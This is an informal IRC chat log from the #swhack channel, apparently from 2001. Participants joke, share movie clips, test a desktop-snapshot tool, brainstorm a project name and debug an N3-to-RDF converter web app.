<Morbus> so, get me on HumanMarkup, sbp, where's an example? 01:59:21 <AaronSw> There aren't any. 01:59:28 <AaronSw> They haven't decided on what it is yet. 01:59:32 <Morbus> ah. 01:59:35 <Morbus> bah. 01:59:41 <AaronSw> (I learned this from sbp's rant.) 01:59:49 <Morbus> the first thing i'd look at would be interactive fiction projects 02:00:02 <Morbus> they've done a lot of work on what people are and how they can be shown in code. 02:00:14 <Morbus> particularly erazmatazz.com (i think thats it - lemme know if it 404s). 02:01:09 <Morbus> but what the hell do i know? i just give out awards 02:02:05 <Morbus> ok. hold on 02:03:20 <Morbus> ack! 02:03:28 <Morbus> where the hell did i put my ifiction bookmarks <g> 02:03:31 <Morbus> too many damn bookmarks. 02:03:43 <AaronSw> time for syncasaurus ;) 02:03:54 <Morbus> :) 02:04:17 <sbp> O.K., I fixed my homepage 02:04:21 <AaronSw> I had this weird dream where I finally visited Sean one day, and I couldn't stand to talk to him face to face so we logged on to IRC to chat. 02:04:25 <sbp> actually, I'm still preparing a new one 02:04:32 <sbp> dream: lol" 02:04:32 <Morbus> lol 02:04:36 <AaronSw> new one: ugh, not again 02:05:01 <Morbus> sean, ever looked at thebrain? 02:05:08 <Morbus> actually, you wanna talk about humanml? 02:05:09 <sbp> if you ever do visit me, that's probably what will end up happening 02:05:21 <sbp> briefly, someone pointed it out to me 02:05:26 <sbp> humanml; not really 02:05:34 <Morbus> k. here we go: 02:05:35 <Morbus> http://www.erasmatazz.com/ 02:05:37 <Morbus> thats what i meant 02:06:20 <AaronSw> if, pah! there's no escaping a visit from Aaron 02:06:26 <AaronSw> Or, as Bush said tonight, "The Evil One" 02:06:38 <Morbus> the evil one? oh god. 02:06:42 <Morbus> sigh. 02:06:52 <Morbus> town leaders should not submit to those sorts of phrases. 02:06:55 <Morbus> thats the job of the media 02:07:33 <AaronSw> Heh -- there was a comic in the New Yorker this week that read: "Bush is starting to grow on me -- he's sounding positively mayoral." 02:07:45 <Morbus> heh 02:08:09 <AaronSw> The evil one on IRC brings up Society > Subcultures > Anti Social > Evil Geniuses 02:08:21 <sbp> lol; Gerald! 02:09:37 <AaronSw> Yep! 02:10:18 <AaronSw> Aww, Gerald is only the 7th evil genius named Gerald on Google. 02:11:22 <sbp> dear oh dear 02:12:06 <AaronSw> Gerald Oskoboiny is an Evil Genious: http://impressive.net/people/gerald/ 02:12:17 <AaronSw> We should insert that in random highly-ranked google pages ;) 02:12:32 <sbp> good idea. Seed it, eh? 02:13:26 <AaronSw> yep 02:13:33 <Morbus> we should put it in our signatures. 02:13:39 <sbp> ooh, yeah 02:13:48 <Morbus> works great for disobey ;) 02:13:52 <AaronSw> You can do funny thing with titling links and Google. 02:14:05 <sbp> like what? 02:14:15 <AaronSw> Someone did <a href="http://george-bush-website">big fat stupid idiot</a> 02:14:24 <Morbus> new joho out 02:14:25 <AaronSw> and then told people to search for big fat stupid idiot on google 02:14:36 <Morbus> yeah, i heard of that. 02:14:36 <AaronSw> and guess what came up first? ;) 02:16:55 <Morbus> i've used the same address for about five years. not so good :) 02:17:09 <sbp> yeah, you should rotate 02:17:28 <Morbus> four years old and no longer used 02:19:19 <Morbus> man, there's a huge orgy going on in #opensourcesex 02:19:31 <Morbus> hehehe 02:19:32 <Morbus> perverts 02:20:01 <sbp> * sbp is laughing quite hard at the moment 02:20:05 <Morbus> hehehehe 02:25:02 <Morbus> god, i've been answering email for the four hours, and its really starting to drag 02:25:14 <sbp> send me one, send me one! 02:25:32 <Morbus> um. ok. 02:25:34 <Morbus> hold on. 02:25:38 <Morbus> what's your email? 02:25:45 <sbp> I don't know! 02:25:50 <Morbus> heh. 02:26:18 <sbp> SeanBert@butt.com 02:26:45 <sbp> I wonder if that's a real email address? That would actually be quite funny 02:27:07 <sbp> going for a job interview... "so, what's your email address?" 02:35:49 <Morbus> see. warez doods do the letters/numbers predominantly 02:35:57 <Morbus> z people use zzz almost exclusively as s subsititues. 02:36:02 <Morbus> like "freddy rulllzzzz" 02:36:12 <sbp> but aren't both groups scum? teach me 02:36:13 <Morbus> or "jason could kick michael's butt dudezzzzz" 02:36:19 <Morbus> i shall teach you the way. 02:36:28 <sbp> please do, Morby-poo 02:36:28 <Morbus> after seeing that jedi is a religion, i have decided to register my own. 02:36:35 <sbp> Morbism? 02:36:39 <Morbus> i call it "kiss the ass of morbus" 02:36:52 <sbp> and you're the only member, eh? 02:36:53 <Morbus> just like satan and the witches. 02:36:54 <sbp> * sbp runs 02:37:24 <sbp> anyway, you were teaching me the way? 02:37:25 <Morbus> ah well. no more email for me tonight. i'm sick of it. 02:37:52 <sbp> ah, I got an email. I wonder who that's from? 02:38:00 <Morbus> heh. 02:38:03 <sbp> could it be?! 02:38:13 <Morbus> thats the only one of any relevance that you'd get without context. 02:38:26 <sbp> yes! a letter from the incredible one... the most gracious leader of the new kiss ass thing: Morby! 02:38:36 <Morbus> Morby Dick! 02:39:14 <sbp> lol!!! 02:39:32 <AaronSw> Ooh, now I need an email too! 02:39:36 <Morbus> ol 02:39:40 <Morbus> il 02:39:44 <Morbus> outloudilaugh 02:39:55 <AaronSw> Heheh. 02:40:03 <Morbus> thats how an english professor chuckles ;) 02:40:37 <sbp> too much more of this and I'm going to piss myself. Now, where'd my bathroom go...? 02:40:40 <Morbus> you want an email aaron? k. lemme send ya one 02:40:42 <Morbus> lol 02:42:01 <sbp> phew: remembered at the last second that my toilet is *adjacent* the the bathroom, and not in it... 02:42:06 <sbp> s/the/to 02:43:54 <sbp> WTF are you talking about here: Do not imagine that Art is something designed to give gentle uplift and self - confidence. Art is not a brassiere. At least, not in the English sense. But do not forget that brassiere is French for life-jacket. 02:44:14 <Morbus> uh. 02:44:29 <Morbus> what do you mean? 02:45:22 <sbp> heh: Let's ban flowers. All those pistels and stamens and pollen -- why, those wicked, wicked plants are having sex RIGHT IN FRONT OF THE CHILDREN. 02:45:26 <sbp> cool quote engine 02:45:31 <sbp> mean: I'm not sure 02:45:46 <Morbus> the badthing about the quote engine is that it's not fortune based. 02:45:54 <Morbus> been meaning to do that for a while. i got tons of new quotes to ad 02:45:55 <Morbus> add 02:46:09 <AaronSw> jwz's text-generating thing says some weird stuff. 02:46:17 <AaronSw> it was plotting to blow up buildings the other day 02:46:59 <AaronSw> what's the url for the quote engine? 02:47:08 <Morbus> disobey/detergent/quote.htm 02:47:19 <Morbus> sean, check out disobey/detergent/sheep.htm 02:47:39 <sbp> "Hope you enjoy it, and don't forget to tell Morbus how you found this" 02:47:46 <sbp> ah! I was just reading that page 02:47:47 <sbp> weird 02:47:50 <Morbus> heh 02:48:00 <Morbus> sent ya an email aar 02:48:17 <sbp> I was going to say that I found it through your site, but now I can say that you pointed me at it. It's all good 02:48:27 <Morbus> its quicktime. you got quicktime? 02:48:35 <Morbus> i've got so much stuff to add to the site, but no time 02:48:41 <Morbus> all this coding mania 02:48:55 <AaronSw> Ugh, now I actually have to read it. 02:49:05 <AaronSw> :-) 02:49:25 <Morbus> hey you asked 02:49:25 <sbp> QuickTime: I should have, but it doesn't seem to be loading... perhaps I haven't installed it on this new computer yet 02:49:42 <Morbus> its quicktime 3 format.:) 02:49:49 <Morbus> should work in most anything nowadays 02:49:59 <AaronSw> Heh, that email's pretty funny. 02:50:09 <Morbus> i get crap like that every day. 02:50:32 <AaronSw> That's what you get for keeping a wacko site. ;) 02:50:37 <Morbus> lol 02:50:39 <deltab> you need segregable bookmarks :-) 02:51:07 <Morbus> heh. actually, one of the ideas in syncasaurus was that you could flag bookmarks for which computer you want them on 02:51:19 <Morbus> so that you could have them all in the xbel, but only convert some of them for your work computer 02:51:38 <deltab> ooh, xbel 02:51:42 <Morbus> :) 02:51:52 <Morbus> yeah, we just finished an xbel parser using xml::parser 02:51:57 <Morbus> reads and writes 02:52:05 <Morbus> and converts to ns. we're working on ie now 02:53:22 <deltab> whenever I hear about someone doing YA-bookmark-convertor, I tell them about xbel 02:53:33 <Morbus> well, its not just a converter. 02:53:39 <Morbus> have i spammed you with the design doc? 02:53:46 <Morbus> but yeah, i'm surprised how many people DON't use it. 02:53:51 <sbp> * sbp donloads the .mov to disc... 02:54:28 <Morbus> sean, you want me to send you my out of date "movies i have on cd" 02:54:34 <Morbus> list/index? 02:55:34 <sbp> Um... sure 02:55:41 <Morbus> ok. nevermind. 02:55:50 <sbp> no, do it! do it! 02:56:02 <Morbus> nope. nope. i don't like your lack of enthusiasm. 02:56:07 <Morbus> there's only one thing you can do to make me send them to you 02:56:20 <sbp> heh! that sheep 02:56:24 <sbp> name it 02:56:33 <Morbus> kiss my ass 02:56:34 <Morbus> <g> 02:57:26 <sbp> Hmm... although I *do* want the list, weighing it up against kissing you ass makes me suggest... 02:57:30 <sbp> that you can kiss mine :-) 02:57:48 <sbp> that sheep is so funny! 02:58:03 <sbp> "hey, I'll just jump into this bar here and see what happens..." 02:58:08 <Morbus> sent 02:58:13 <Morbus> hehehe 02:58:23 <Morbus> yeah, thats been up there for years. its one of the more popular pages 02:58:36 <sbp> it's a shame one can't set movies as backgrounds... 02:58:51 <Morbus> well. you kinda can in win98 02:59:06 <sbp> yeah, with the active desktop thing... 02:59:07 <Morbus> just create a page that plugins the movie, then use active desktop to run that page 02:59:12 <Morbus> yeah, exactl 02:59:30 <sbp> but I was thinking more of a fullscreen-image thing, I need a fullscreen version! 03:00:33 <Morbus> ah. that i don't have. 03:00:55 <sbp> * sbp watches is again and again 03:00:59 <sbp> s/is/it 03:01:00 <Morbus> hheh 03:01:07 <Morbus> whenever i'm down, i just load that movie 03:01:11 <sbp> apple rejects RAND!: http://lists.w3.org/Archives/Public/www-patentpolicy-comment/2001Oct/1488 03:01:24 <sbp> yeah, who needs drink! 03:01:48 <Morbus> rand, nice 03:02:03 <Morbus> aaron, did you check out that snapper head thing? you should try it. 03:02:08 <Morbus> i'm about to install it now 03:02:18 <AaronSw> Yeah, but why would I want to use it? I'll just watch you. 03:02:24 <Morbus> hehe. 03:02:29 <Morbus> watch me talk to you. 03:02:32 <Morbus> um. narcissist 03:02:51 <AaronSw> i bet it wouldn't work since you're on the second monitor 03:03:10 <Morbus> second monitor? 03:03:40 <AaronSw> yeah, I have two 03:04:31 <Morbus> hehehe 03:06:57 <Morbus> i haven't found a good disktracker util for os x, so none of these are cataloged. 03:08:12 <sbp> aw... 03:08:17 <deltab> movie playing in the background of a web page, or of the desktop? 03:08:51 <deltab> I stumbled across a player that does the later today 03:08:59 <deltab> ^the latter 03:09:16 <sbp> the latter stumbled across a player that does the later today? 03:09:26 <deltab> sbp: no 03:09:28 <sbp> it's in the Web page... 03:09:32 <Morbus> sean, 63.173.138.115 03:09:45 <Morbus> what was the other one you wanted? 03:10:07 <sbp> ah Morby, I bow before thee 03:10:11 <deltab> sbp: ah, okay. I think I've seen Mozilla do animated backgrounds 03:10:20 <sbp> er... the enema and Beer Baron ones would be cool :-) 03:10:34 <Morbus> beerbaron is there 03:10:42 <Morbus> what's the naem of the enema? location? 03:11:23 <sbp> fireworks.mov 03:11:45 <AaronSw> Let me know when you get that screen capture thingy running 03:11:49 <Morbus> thats simpsons too? 03:12:05 <Morbus> k. its downloaded. 03:12:13 <Morbus> but i'm busy serving up movies right now ; 03:12:13 <Morbus> ) 03:12:35 <sbp> :-) 03:12:56 <sbp> * sbp eats Morby's bandwidth... 03:13:17 <Morbus> my 56k bandwidth too <g> 03:13:34 <sbp> well, me too, no no worries there... 03:13:42 <Morbus> ah. ok 03:13:47 <Morbus> oh right. i knew that 03:13:57 <Morbus> i dl'd all these movies and oh so much more off this puppy ;) 03:14:27 <sbp> ah, is this the same bollock licking puppy? 03:14:49 <Morbus> nope. 03:14:58 <Morbus> puppy being 56k connection 03:15:20 <deltab> what movies? 03:15:23 <sbp> that's what I mean: the invisible puppy 03:15:54 <Morbus> fireworks is there 03:16:03 <Morbus> lemme know when you're done 03:16:33 <Morbus> deltab, seans looking through a list of movieclips i've downloaded and is leeching pieces of my simpsons collection ;) 03:16:34 <sbp> it's still going through the first two... grgmprgmprmgh 03:16:53 <Morbus> hmm? 03:21:16 <Morbus> you on the first or the second? 03:22:08 <sbp> I'm nearly finished on the second, and started on the third 03:22:31 <Morbus> ah. ok 03:25:10 <Morbus> whoa now kiddies 03:26:18 <Morbus> Morbus has quit 03:26:49 <Morbus> Morbus has joined #swhack 03:28:00 <Morbus> hmm? 03:31:01 <Morbus> Morbus has quit 03:36:25 <Morbus> Morbus has joined #swhack 03:37:09 <Morbus> 63.173.138.135:2000 03:37:12 <AaronSw> Morbus, hold still! 03:37:15 <Morbus> aaronSw, that's the snapperhead thing 03:37:27 <AaronSw> Neat. 03:37:41 <Morbus> it worked that quick? nice. 03:38:53 <Morbus> huh. 03:38:58 <Morbus> can't see my own damn webserver 03:39:01 <Morbus> ie keeps dying 03:39:09 <AaronSw> * AaronSw reads secret Morbus notes... "...ledge stockpiles" 03:39:24 <Morbus> hehe. here. let me move that outta the way 03:39:41 <AaronSw> cute background -- where'd you get it? 03:39:52 <Morbus> don't remember. had it for awhile. 03:39:59 <Morbus> i've got a load of good backgrounds. 03:40:08 <AaronSw> Hmm, either it takes pictures badly or your irc client has a weird display bug 03:40:27 <Morbus> well, i've got it on low low quality 03:41:38 <AaronSw> Oooh, em's email address is there. 03:41:45 <Morbus> gasp! 03:41:52 <Morbus> they did warn me about privacy <g> 03:42:21 <Morbus> he and i had a talk about ampheta, and syndic8 before it was known as syndic8 03:43:06 <Morbus> goddamit 03:43:20 <Morbus> oOH. 03:43:24 <Morbus> its an ie issue. icab reaches it fine 03:43:33 <Morbus> hey, aaronSw, have you ever had problems seeing yourself locally via ie? 03:43:44 <AaronSw> Haven't tried. 03:45:45 <Morbus> nope. icab doesn't work either 03:45:57 <Morbus> Ooh. it doesn't for IP 03:46:02 <Morbus> but does for localhost 03:46:05 <AaronSw> You need more windows open, man 03:46:16 <Morbus> got my email open :) 03:46:19 <AaronSw> lol at this infinite loop in snapperhead! 03:46:26 <Morbus> hehehehe 03:47:20 <Morbus> you should try this. 03:47:25 <Morbus> i lkike it. i may do this 03:48:01 <Morbus> :D 03:48:18 <Morbus> 63.173.138.135:2000 03:48:20 <Morbus> sean, check that out :) 03:48:30 <Morbus> ooh. lemme turn on ituns :) 03:49:06 <sbp> "fireworks.mov" didn't download, BTW... 03:49:25 <Morbus> yeah, i know. you and aaronSw called a kernel panic on me :) 03:49:54 <AaronSw> that sux 03:50:02 <Morbus> yeah. i notice it a lot on uploading. 03:50:04 <sbp> http://63.173.138.135:2000/ won't do anything 03:50:11 <Morbus> try agin 03:50:23 <Morbus> it seems to have a problem with "close to same time" connects 03:51:18 <AaronSw> ouch, IE crashed 03:51:30 <Morbus> quick, try sean :) 03:51:55 <sbp> I am trying, but it's just sitting there 03:52:05 <Morbus> yeah, i see ya coming in. 03:52:12 <Morbus> but its not doing anything here either 03:52:16 <sbp> lol 03:52:18 <Morbus> :( 03:52:26 <Morbus> wha? 03:53:20 <sbp> still not working. What was it supposed to be doing? 03:53:44 <Morbus> showing you a live snap from my desktop 03:53:53 <sbp> ah 03:55:12 <Morbus> try one more time for me 03:55:43 <sbp> trying... 03:56:23 <Morbus> nope. ok. gimme another sec 03:56:38 <AaronSw> Wow, http://impressive.net/people/gerald/2001/10/11/wtc.html is weird. 03:56:57 <Morbus> k, try it now 03:57:29 <Morbus> ooh, that shoulda worked 03:57:33 <Morbus> are you getting anything? 03:58:09 <sbp> yes, that is weird 03:58:19 <sbp> ah yes! I am 03:58:25 <Morbus> woo. ok. good. 03:58:37 <Morbus> they had a thing in here about "if browsers can't connect". 03:58:40 <sbp> lol @ the note 03:58:42 <Morbus> apparently i had to do that for ya 03:58:43 <Morbus> :D 03:58:57 <sbp> :-) 04:00:19 <Morbus> ok. well, i'm out. its midnight 04:01:17 <sbp> yeah, I'm tired too 04:01:28 <Morbus> aaron, this is a neat thing. get it. 04:01:29 <Morbus> Morbus has quit 04:01:42 <AaronSw> Heh, what a closing line! 04:04:19 <AaronSw> I better get to sleep too 04:04:28 <AaronSw> g'nite y'all 04:04:45 <sbp> c'ya 04:04:47 <sbp> sbp has quit 08:23:46 <deltab> deltab has quit 08:25:06 <deltab> deltab has joined #swhack 11:32:06 <Morbus> Morbus has joined #swhack 11:33:32 <Morbus> ooh: http://www.gnu.org/directory/AmphetaDesk.html 11:38:41 <Morbus> Morbus has quit 12:10:01 <AaronSw> cool 12:59:28 <sbp> sbp has joined #swhack 13:05:02 <sbp> sbp has quit 13:29:34 <AaronSw> AaronSw has quit 13:38:11 <Morbus> Morbus has joined #swhack 13:57:33 <AaronSw> AaronSw has joined #swhack 14:06:03 <Morbus> morning aaron 14:57:35 <AaronSw> AaronSw has quit 14:57:43 <Morbus> Morbus has left #swhack 15:36:25 <sbp> sbp has joined #swhack 15:50:19 <sbp> sbp has quit 16:16:26 <lilo> [GlobalNotice] Hi all. Services will be back up in a moment, accompanied by the usual splits. Thanks for your patience. 16:17:30 <ChanServ> ChanServ has changed the topic to: 17:49:35 <AaronSw> AaronSw has joined #swhack 17:50:27 <AaronSw> Words for a standards body to live by: 17:50:37 <AaronSw> We will write specs, but we write specs only to write code. 17:50:45 <AaronSw> We will do things wrong, and we will ship them, and we will keep on shipping them until they are done Right. 17:50:53 <AaronSw> He who writes the code makes the rules. 17:54:29 <sbp> sbp has joined #swhack 17:54:39 <AaronSw> 'lo 17:54:49 <sbp> 'i 17:54:56 <sbp> Morbus: ' 17:55:15 <AaronSw> ? 17:55:22 <sbp> ', '! 17:55:32 <sbp> anyway... 17:55:58 <AaronSw> * AaronSw looks up res ipsa loquitur 17:56:13 <sbp> "the matter speaks for itself" 17:56:43 <AaronSw> res ipsa loquitur n : a rule of evidence whereby the negligence of an alleged wrongdoer can be inferred from the fact that the accident happened 17:57:28 <sbp> nope, that's an incorrect definition 17:57:34 <sbp> [[[ 17:57:34 <sbp> res ipsa loquitur - Latin. "the thing speaks for itself" 17:57:40 <sbp> ]]] - http://www.domainhandbook.com/resipsa.html 17:57:41 <AaronSw> You're arguing with wordnet? 17:57:47 <sbp> it's a very well known phrase 17:57:55 <AaronSw> Wordnet is the font of all knowledge. 17:58:03 <AaronSw> :) 17:58:14 <sbp> well, the definition makes sense, but it that's only an example of its use within the legal context 17:58:31 <sbp> which is where it is often used... but the general definition is more widely known 17:58:36 <sbp> anyhoo... 17:58:37 <sbp> Gotta run 17:59:28 <AaronSw> That was quick. 18:01:38 <sbp> sbp has quit 18:52:32 <Morbus> Morbus has joined #swhack 18:54:29 <AaronSw> hi morbo 18:55:03 <AaronSw> * AaronSw is trying to make up a new word to use as the name for his meshy-plexy project 18:55:32 <Morbus> you want my help? 18:56:19 <AaronSw> If you want... I guess I'm not very good at making up words. 18:56:38 <Morbus> call it the teshmesh. 18:56:44 <Morbus> it'll be an injoke concerning tesh and storyserver 18:56:45 <Morbus> :) 18:56:57 <AaronSw> heheh... what's tesh, tho? 18:57:15 <Morbus> john tesh. he sued storyserver cos "it wasn't doing what they promised". 18:57:28 <AaronSw> Ah, right, I remember that. 18:58:37 <AaronSw> hmm... flow, mesh, plex, giga, inter, triple, tuple... 18:59:17 <AaronSw> hmm, mowplesh 18:59:23 <sbp> sbp has joined #swhack 18:59:26 <AaronSw> sbp, just in time! 18:59:37 <AaronSw> I'm trying to make up a new word for my plexy-meshy thing 18:59:41 <sbp> great! 18:59:41 <Morbus> meshine 18:59:43 <sbp> for what? 18:59:43 <AaronSw> I'm using flow, mesh, plex, giga, inter, triple, tuple... 18:59:45 <sbp> great! 18:59:47 <sbp> brb... 18:59:49 <Morbus> hehe 19:00:01 <Morbus> meshtropic 19:00:05 <AaronSw> heh 19:00:08 <Morbus> meshopotamia <g> 19:00:11 <Morbus> hey, that's a good one. 19:00:16 <AaronSw> Heheh. 19:00:23 <AaronSw> meshopotomaus 19:00:26 <Morbus> lol 19:00:29 <Morbus> yeah! 19:00:34 <Morbus> that'd go along with my syncasaurus! 19:00:35 <Morbus> <g> 19:00:41 <Morbus> dude, i say that one. 19:00:42 <Morbus> :) 19:00:56 <AaronSw> Heheh, but it sounds too fat and dumb. 19:01:24 <Morbus> sooo? 19:01:32 <sbp> Mr. Flow 19:01:37 <Morbus> if you believe in your product, you give it a dumb name and make people like it. 19:01:40 <Morbus> amazon. fat brain. 19:01:44 <Morbus> what the hell do those mean? 19:01:52 <Morbus> amazon sounds like a disease ridden river that people shit in. 19:01:54 <AaronSw> fat brain makes sense. 19:01:58 <AaronSw> tunatoes! 19:01:58 <Morbus> but no! it's the world's biggest book store. 19:02:02 <AaronSw> * AaronSw owns tunatoes.com 19:02:09 <sbp> gigaflex! 19:02:11 <Morbus> tunatoes? why do yoy own that? 19:02:17 <Morbus> i own severebeating.com :) 19:02:30 <AaronSw> i bought it for a friend who was enamored with the word 19:02:42 <AaronSw> gigaplesh 19:02:49 <AaronSw> pleshine 19:02:58 <Morbus> meshtex 19:02:58 <AaronSw> gigaflex is good... 19:03:16 <Morbus> meshom and gomorrah 19:03:18 <AaronSw> texmex! 19:03:27 <Morbus> moilmesh for the jewish folk <g> 19:03:27 <AaronSw> :) 19:03:34 <Morbus> hehehe. texmex. 19:04:12 <AaronSw> interplesh 19:04:28 <AaronSw> that's not bad, actually. 19:04:42 <Morbus> i'm not sure i like the l. 19:04:48 <Morbus> i see inter and think of r or t. 19:04:56 <Morbus> interstate, interpret, etc. 19:05:16 <AaronSw> the l? 19:05:20 <AaronSw> oh, i see 19:05:26 <AaronSw> hmm, gigaflex is already used 19:05:37 <AaronSw> metaplesh 19:05:38 <Morbus> meshturbate 19:05:42 <sbp> lol 19:05:44 <AaronSw> heheh 19:05:46 <Morbus> <g> 19:05:53 <sbp> Aaron, how does one load N3 into n3tordf again? 19:06:05 <AaronSw> I think it's the data parameter 19:06:09 <AaronSw> data=... 19:06:29 <sbp> aw man, so I have to do the form... 19:06:59 <AaronSw> digimesh... digiplesh 19:07:55 <AaronSw> pleshigo 19:08:04 <sbp> POST/GET? 19:08:12 <AaronSw> What? 19:08:20 <AaronSw> the converter is always GET... it just converts 19:08:30 <sbp> cool 19:08:47 <AaronSw> sorry, it was text, not data 19:09:12 <AaronSw> pikaplesh ;) 19:10:45 <AaronSw> That's it! Megaplesh. 19:10:51 <AaronSw> Hmm, maybe not. 19:10:52 <Morbus> pikaplesh. that's good. 19:11:00 <Morbus> Morbus has left #swhack 19:11:10 <Morbus> Morbus has joined #swhack 19:11:15 <AaronSw> boss walk by? ;) 19:11:19 <Morbus> the flippin x button jumped right at me! 19:11:24 <AaronSw> heheh 19:11:41 <Morbus> fridays' i'm actually with the bosses clueless wife :) 19:11:57 <sbp> data= didn't work 19:12:03 <sbp> http://swag.webns.net/n3tordf?data=@prefix+%3A+%3C%23%3E+.%0D%0A%0D%0A%3Ax+%3Ay+%3Az+. 19:12:13 <AaronSw> yeah, it's text 19:12:14 <AaronSw> sorry 19:12:18 <AaronSw> text= 19:12:19 <sbp> O.K. 19:12:47 <AaronSw> clueplesh 19:13:00 <AaronSw> netplesh 19:13:10 <AaronSw> netplesh... i like that 19:13:28 <AaronSw> If this works, this is the word that's going to be replacing Internet, so it better be good. ;) 19:13:54 <sbp> aw, Aaron... sort it out! http://swag.webns.net/n3tordf?text=@prefix+%3A+%3C%23%3E+.%0D%0A%0D%0A%3Ax+%3Ay+%3AZ+. 19:14:01 <sbp> "must supply a value for uri" 19:14:33 <AaronSw> hmm 19:15:01 <AaronSw> try now. 19:16:20 <sbp> now it 19:16:25 <sbp> it's just sitting there 19:16:29 <AaronSw> yikes, where'd all these blogspace threads come from 19:16:37 <Morbus> Morbus has quit 19:16:49 <sbp> * sbp cancells the browser actions... 19:16:55 <AaronSw> * AaronSw reboots webservers 19:18:52 <sbp> How 19:18:56 <sbp> gmpogmgpgh 19:18:59 <sbp> How's it doing? 19:19:05 <sbp> I've got to move my ' button... 19:19:19 <AaronSw> almost there... 19:19:27 <AaronSw> boy, blogspace is getting a ton of RSS hits 19:19:41 <AaronSw> OK, looks like it's working now 19:19:57 <sbp> great, I'll try it... 19:20:06 <AaronSw> wtf is nt2.interplay.com? 19:20:16 <sbp> I've got no idea 19:20:46 <sbp> Aaron, your thing's just sitting there staring blankly again... 19:20:54 <wendy> wendy has joined #swhack 19:21:01 <sbp> and that nt2 thing won't load either, damnit 19:21:13 <AaronSw> it works for me 19:21:14 <sbp> ah no, here we go 19:21:18 <sbp> Hi Wendy 19:21:23 <Morbus> Morbus has joined #swhack 19:21:23 <wendy> hey there. 19:21:30 <sbp> hi Morby 19:21:37 <Morbus> hey there. 19:21:55 <AaronSw> Anyone here heard of WinHttp.WinHttpRequest.5? because it's gone insane 19:22:05 <sbp> heh: 19:22:06 <sbp> [[[ 19:22:07 <sbp> ERROR 19:22:07 <sbp> Required white space was missing. 19:22:08 <sbp> ]]] 19:22:22 <sbp> ah, that'll be my fault 19:22:52 <AaronSw> Wendy, do I know you from somewhere? 19:22:57 <AaronSw> Wendy Chisolm? 19:22:57 <sbp> it's still just timing out 19:23:12 <sbp> s/Chisolm/Chisholm 19:23:19 <AaronSw> Yeah, I knew I spelled it wrong. 19:23:31 <wendy> Hey Aaron. We've not met. 19:23:48 <AaronSw> Well, nice meeting you then. ;) 19:23:57 <Morbus> neither have we wendy. any relation to dave? 19:23:58 <wendy> yes, nice to meet you. 19:24:11 <wendy> no, don't know any dave in the family tree. 19:24:17 <AaronSw> so, Wendy Chisholm? 19:24:34 <Morbus> oh. the dave i know makes great burgers/ 19:24:40 <wendy> yes, Aaron Swartz? 19:24:50 <AaronSw> Yep. 19:25:10 <AaronSw> See, I do know you. Welcome to our humble channel. 19:25:29 <AaronSw> AaronSw has changed the topic to: Please give a warm welcome to today's special guest: Wendy Chisholm! 19:25:34 <sbp> * sbp wonders how many threads he's started on WebNS... 19:25:48 <AaronSw> * AaronSw counts 19:25:53 <sbp> He he he 19:26:01 <Morbus> * Morbus offers Wendy a spritzer. 19:26:06 <wendy> lol. well folks, i'm just honored to be here. so, what's up with this n3 to rdf app? 19:26:16 <Morbus> speech! speech! <g> 19:26:19 <AaronSw> 13, sbp 19:26:19 <sbp> * sbp notes that this channel is logged. Use # to comment junk out 19:26:23 <sbp> 13: not bad 19:26:51 <AaronSw> ls 19:26:54 <AaronSw> oops 19:26:57 <Morbus> bwahaha 19:27:09 <Morbus> now, is that a raw ls, or an aliased one? <g> 19:27:49 <AaronSw> raw 19:27:55 <AaronSw> what do you alias it to? 19:28:02 <Morbus> ls -al 19:28:55 <AaronSw> Wendy, the app is http://swag.webns.net/n3tordf 19:29:01 <AaronSw> and it doesn't always work so well... 19:29:25 <wendy> so i discovered, i tried it with http://www.w3.org/2001/10/xag.n3 but I'm not sure if the problem 19:29:28 <Morbus> Wendy, do you have a site that I can stal^H^H^H^H find out more about your work? 19:29:30 <wendy> is w/the app or with the n3. 19:30:06 <wendy> morbus: http://www.w3.org/ER/ or http://www.w3.org/WCAG/ or http://www.w3.org/People/wendy/ 19:30:17 <sbp> s/so well/at all 19:30:23 <wendy> oops - first two are w3.org/WAI/ER and w3.org/WAI/WCAG/ 19:30:34 <AaronSw> oops, i really killed it there for a second 19:30:40 <Morbus> yup, i've already got those ones bookmarked, so moving on to people/ 19:31:45 <sbp> ah! it's working 19:31:48 <sbp> well, kind of 19:31:57 <sbp> xmlns="file:/home/aol33/#"??? 19:32:01 <Morbus> has anyone else been mailbombed by a 9k email with "hey mom...." in the usbject line? 19:32:10 <Morbus> i've gotten, literally, 400+ of them since i was here last night 19:32:33 <sbp> Hmm... no. Some idiot has been sending me hundreds of "we're an offshore investment company" type emails 19:32:38 <AaronSw> nope... not me, must be your mom 19:32:45 <sbp> heh 19:32:56 <Morbus> recently? like in the past day? 19:33:05 <sbp> O.K., well I've put a form up: http://infomesh.net/2001/10/n3tordf/ 19:33:05 <Morbus> is the email full of javascirpt? 19:33:19 <sbp> no, it's plain text, and quite well written 19:33:45 <sbp> "Subject: Software programming and development" 19:34:33 <AaronSw> Hmm, the annoying RSS seems to have left. 19:34:54 <sbp> * sbp kicks his browser... now the form isn't working 19:35:02 <AaronSw> now that i finally have my logger set up to track him... grr 19:35:17 <sbp> perhaps it doesn't like me doing a GET with that much data? 19:35:33 <AaronSw> ahh, perhaps -- what are you getting? 19:35:47 <AaronSw> I think I have a limit on the amount... want me to increase it? 19:35:55 <sbp> it's just not moving. I push "submit" and nothing happens at all 19:36:01 <sbp> yes please, if you could 19:36:50 <wendy> yes, must be the problem. if I cut down what trying to submit, it actually does something. 19:37:02 <sbp> Wendy: the N3 file on the site is invalid, that 19:37:05 <sbp> that's the problem 19:37:12 <sbp> damn ' key... 19:37:27 <wendy> i thought that might be the case. 19:37:33 <AaronSw> Why don't you two just stick it at a URL? 19:37:34 <sbp> [[[ 19:37:35 <sbp> dc:title "XHTMLTM 1.0: The Extensible HyperText Markup Language 19:37:35 <sbp> " . 19:37:36 <AaronSw> would it be that hard? 19:37:36 <sbp> ]]] 19:37:44 <sbp> it is at a URL! 19:37:47 <wendy> http://www.w3.org/2001/10/xag.n3 19:37:56 <sbp> but a form would be very useful too... 19:38:37 <AaronSw> Well, here you go then: http://swag.webns.net/n3tordf?uri=http%3A%2F%2Fwww.w3.org%2F2001%2F10%2Fxag.n3&from=n3 19:38:43 <AaronSw> BadSyntax on line 349. 19:38:46 <sbp> Hmm... and s/earl:suite/earl:id 19:38:55 <sbp> yeah, it has a line break in the wrong place... 19:39:40 <wendy> * wendy goes to fix... 19:40:55 <wendy> doh! my password expired on the w3c machine. 19:40:57 <wendy> * wendy laughs 19:41:11 <AaronSw> sbp, is the stuff you have problems with longer than 8192 bytes? 19:42:02 <AaronSw> W3C passwords expire? 19:42:20 <sbp> 5678 19:42:35 <sbp> out of the cache? 19:43:43 <sbp> 